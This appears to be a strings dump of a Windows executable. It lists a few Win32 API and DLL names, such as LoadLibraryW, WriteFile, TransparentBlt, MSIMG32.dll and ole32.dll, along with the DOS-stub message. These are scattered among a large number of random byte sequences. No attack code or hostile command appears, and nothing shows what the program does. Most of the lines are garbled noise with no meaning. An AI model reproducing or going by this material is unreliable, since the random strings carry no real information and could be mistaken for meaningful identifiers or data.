\kRhd*E_
kv8D"[
Ky>tRh
l2hYWJt
~&L_dPs
LeaveCriticalSection
lg*9yl
,L:\@h
lh+;$c
ljJ"h}
LoadLibraryW
lstrlenW
]L ^t,
LU?SRK
"\M2m`
mbhbhO
+M &CW
M@h7hQ
MHzGbhlY
mjAG+E
Mph hu
MQ)H3|Y
MSIMG32.dll
M=-st 
MultiByteToWideChar
N4gG1|0h
n"@c/"
NC(`hRh*Z
N:d0hE
{NGBh^rh
]N,=Ha
N$@hAZ
NMV-^<h1
nNhGDI3
Nq|kS3tOdV
~Nrhgph
nYhiTCOT
o.0h(}#Vw%
O2h"h>
}#o-4\
O)A3ZD
	o@hEW%
ole32.dll
oRMYT8
p.ASg!~
\Ph	6 h
-Ph8}!
?PhAzeJ
:phBh0h
PhDrh$_
PhNL0h
phPh!6
Phph[:$t
phRhhE
Phs2hj
PhtDbh&
phV*,d
Phv-J=
PhZ|@hT
p/`k\ a
qbh7f1rh
_Qn.=m
qt{ZZ?
QueryPerformanceCounter
qvx1K{
qYBh[n
*Qyz2ht
r.AdM#k
RaiseException
r+AQg*
rEfoa4
.reloc
|r"gY6
rh7SM<
Rhbhg#
rhE[;t
*-rh\g
>rhht1
!RhkOf
Rhoph/
rhy7@hh
RS% h$
,rxM?^
S 1QMo
s6M'dw
s9d4d@hc
S:}d@h
SelectObject
SetHandleCount
<S`h0h
S>Q es
\sRQDp7
StringFromGUID2
=.s\Wr
!This program cannot be run in DOS mode.
TlsGetValue
TlsSetValue
?tLw4g
t'LxhI
*tn7T2h
=$Tphv
TransparentBlt
)TsXwg*Q
TX7vNq&
U2hybh
U<8ued
uA(<rh
U* h=0h&
UnhandledExceptionFilter
,+U-s"h
UZ:Iy]
|?,v2hA
(V(4N`h
V5D{tYA
VBh]bh
Vbh#EU
v/g`uG
vqEQ"R
'VSlQ!ImX
w58rhI
WBh)L*
!W hC~
wHM5M	
WideCharToMultiByte
)wi>qS
w}K4EZ@h
wKh[Dv
=WLa"hY|(:
;WMZ.TM}
w*phxZ
WriteFile
ws6qr=
X3v8Phd
X!50hk
X/8mIM
XA>{o3
x]DG@|
Xdh;2hKm
=xE3Pc
x`h@hH
X^jRNp
X]K	KphL
X%rhbh
y1i$lx9
?yCPh.
[[Yd^&
yE*vxPhh
y?jCdn
);/Yjx
Yk^M)[
yNnMQH
<y#RhD
<|YX"h
Z;Bh&N
z@h0h]K
@_zn^\
#z\s" 
Z~/v	P
ZzqBh`h